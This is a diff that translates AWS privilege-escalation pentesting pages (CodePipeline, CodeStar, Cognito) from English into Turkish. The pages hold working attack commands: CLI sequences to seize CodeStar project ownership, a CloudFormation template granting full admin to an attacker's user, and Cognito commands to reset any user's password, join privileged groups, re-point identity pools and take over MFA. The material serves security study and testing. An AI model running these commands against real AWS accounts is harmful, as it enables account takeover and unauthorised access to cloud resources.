a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +Codepipeline hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +Bir kod pipeline'ı oluştururken, çalıştırılacak bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz. -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +Önceki izinlerin yanı sıra, **kodun saklandığı yere erişim** (S3, ECR, github, bitbucket...) ihtiyacınız olacak. -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Bunu web sayfasında süreci gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +**Build projesinin oluşturulması** sırasında bir **çalıştırılacak komut** (rev shell?) belirtebilir ve build aşamasını **yetkili kullanıcı** olarak çalıştırabilirsiniz, bu, saldırganın tehlikeye atması için gereken yapılandırmadır: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +Önceki izinlerle, kullanılan rolü ve bir codepipeline'da yürütülen komutu değiştirmek mümkün olabilir. ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) şunları belirtir: -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döndürür**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri döndürür**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..0ebede098 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +Codestar hakkında daha fazla bilgi bulabilirsiniz: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +Bu izinlerle **bir codestar IAM Rolünü** kötüye kullanarak **rastgele eylemler** gerçekleştirebilirsiniz **cloudformation şablonu** aracılığıyla. Aşağıdaki sayfayı kontrol edin: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +Bu teknik, bir codestar projesi oluşturmak için `codestar:CreateProject` kullanır ve bir IAM kullanıcısını yeni bir CodeStar **projesinin** **sahibi** yapmak için `codestar:AssociateTeamMember` kullanır; bu da onlara **birkaç ek izinle yeni bir politika** verecektir. ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +Eğer zaten **projenin üyesiyseniz**, rolünüzü `codestar:AssociateTeamMember` yerine **`codestar:UpdateTeamMember`** iznini kullanarak **sahip** olarak **güncelleyebilirsiniz**. -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**Olası Etki:** Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini bulabilirsiniz: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **Yeni Bir Proje Oluşturun:** +- Yeni bir projenin oluşturulmasını başlatmak için **`codestar:CreateProjectFromTemplate`** eylemini kullanın. +- Başarılı bir şekilde oluşturulduğunda, **`cloudformation:UpdateStack`** izni otomatik olarak verilir. +- Bu erişim, `CodeStarWorker--CloudFormation` IAM rolü ile ilişkili bir yığına yöneliktir. +2. **Hedef Yığını Güncelleyin:** +- Verilen CloudFormation izinleri ile belirtilen yığını güncellemeye devam edin. +- Yığının adı genellikle iki desenle uyumlu olacaktır: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine bakınız). +3. **Erişim ve İzinler:** +- Güncelleme sonrası, yığınla bağlantılı **CloudFormation IAM rolü** ile atanan yetenekleri elde edersiniz. +- Not: Bu, doğası gereği tam yönetici ayrıcalıkları sağlamaz. Ayrıcalıkları daha da yükseltmek için ortamda ek yanlış yapılandırılmış kaynaklar gerekebilir. -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +İstismarı [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) adresinde bulabilirsiniz. -**Potential Impact:** Privesc to cloudformation IAM role. +**Olası Etki:** Cloudformation IAM rolüne privesc. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..2ac4228fa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +Bu, kullanıcının privesc yapabileceği oluşturulmuş politikadır (proje adı `supercodestar` idi): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..a70e1a5fe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +Bu izinlerle, **arbitrary actions** gerçekleştirmek için **codestar IAM Rolü** kötüye kullanabilirsiniz **cloudformation template** aracılığıyla. +Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** oluşturmanız gerekir. `toolchain.json` adında bir dosya yükleyin. Bu dosya, **cloudformation template exploit** içermelidir. Aşağıdaki, kontrolünüz altındaki bir kullanıcıya yönetilen bir politika atamak ve **admin permissions** vermek için kullanılabilir: ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - -Also **upload** this `empty zip` file to the **bucket**: +Ayrıca bu `boş zip` dosyasını **bucket**'a **yükleyin**: {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +**Her iki dosyanın da kurban hesabı tarafından erişilebilir olması gerektiğini** unutmayın. +Her iki şeyi yükledikten sonra, bir **codestar** projesi oluşturarak **istismar** işlemine geçebilirsiniz: ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +Bu istismar, **bu ayrıcalıkların Pacu istismarına** dayanmaktadır: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Burada, bir kullanıcı yerine bir rol için yönetilen bir admin politikası oluşturma varyasyonunu bulabilirsiniz. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..f46ccd01f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Cognito hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### Kimlik Havuzundan kimlik bilgilerini toplama -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** (uygulamada sabit kodlanmış olmalıdır) bulursanız yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında). -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +Daha fazla bilgi için [**bu sayfayı kontrol edin**](../aws-unauthenticated-enum-access/#cognito). -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**Olası Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +Bu izinle, kimlik doğrulanmış/kimlik doğrulanmamış kullanıcılarına **herhangi bir cognito rolü** verebilirsiniz. ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse**, bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir. -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. +**Olası Etki:** Herhangi bir cognito rolüne doğrudan yetki yükseltme. ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **ve bu Cognito Kimlik Havuzuna erişim sağlamak için bir yol olarak** kullanabilir. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir.** ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +Bu izni **temel kimlik doğrulamasını sağlamak için kötüye kullanmak** da mümkündür: ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**Potansiyel Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma. ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +Bu izin, **bir Cognito kullanıcısını bir Cognito grubuna eklemeye** olanak tanır, bu nedenle bir saldırgan bu izni kötüye kullanarak kontrolü altındaki bir kullanıcıyı **daha iyi** ayrıcalıklara veya **farklı IAM rollerine** sahip diğer gruplara ekleyebilir: ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına bağlı IAM rollerine privesc. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +Bu izinlere sahip bir saldırgan, **herhangi bir ihlal edilmiş Cognito Kimlik Sağlayıcısı tarafından kullanılabilecek IAM rolü ile **gruplar oluşturup/güncelleyebilir** ve ihlal edilmiş bir kullanıcıyı grubun parçası yaparak bu rollere erişebilir: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**Olası Etki:** Diğer Cognito IAM rollerine privesc. ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +Bu izin, **bir kaydı doğrulamaya** olanak tanır. Varsayılan olarak, herkes Cognito uygulamalarına giriş yapabilir; eğer bu bırakılırsa, bir kullanıcı herhangi bir veriyle bir hesap oluşturabilir ve bu izinle doğrulayabilir. ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzundaki IAM rolüne dolaylı yetki yükseltme. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı yetki yükseltme. ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +Bu izin, bir saldırganın kullanıcı havuzunda yeni bir kullanıcı oluşturmasına olanak tanır. Yeni kullanıcı etkin olarak oluşturulur, ancak şifresini değiştirmesi gerekecektir. ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimliği doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc. ### `cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi gerektiği** çok uç bir senaryoda yardımcı olabilir. ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzundaki IAM rolüne dolaylı privesc ve kullanıcının izinleri. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +Bu izin, [**YÖNTEM ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** ile giriş yapmaya olanak tanır.** Daha fazla bilgi için bağlantıyı takip edin. ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +Bu izin, bir saldırgana **herhangi bir kullanıcının şifresini değiştirme** yetkisi vererek, çok faktörlü kimlik doğrulama (MFA) etkin olmayan herhangi bir kullanıcıyı taklit etmesine olanak tanır. ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**Potansiyel Etki:** Doğrudan privesc, potansiyel olarak herhangi bir kullanıcıya, dolayısıyla her kullanıcının üyesi olduğu tüm gruplara erişim ve Kimlik Havuzu kimlik doğrulamalı IAM rolüne erişim sağlar. ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: Bir saldırgan, bu izni kötüye kullanarak kontrolü altındaki bir cep telefonunu **bir kullanıcının SMS MFA'sı** olarak ayarlayabilir. ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** Öncekine benzer şekilde, bu izin bir 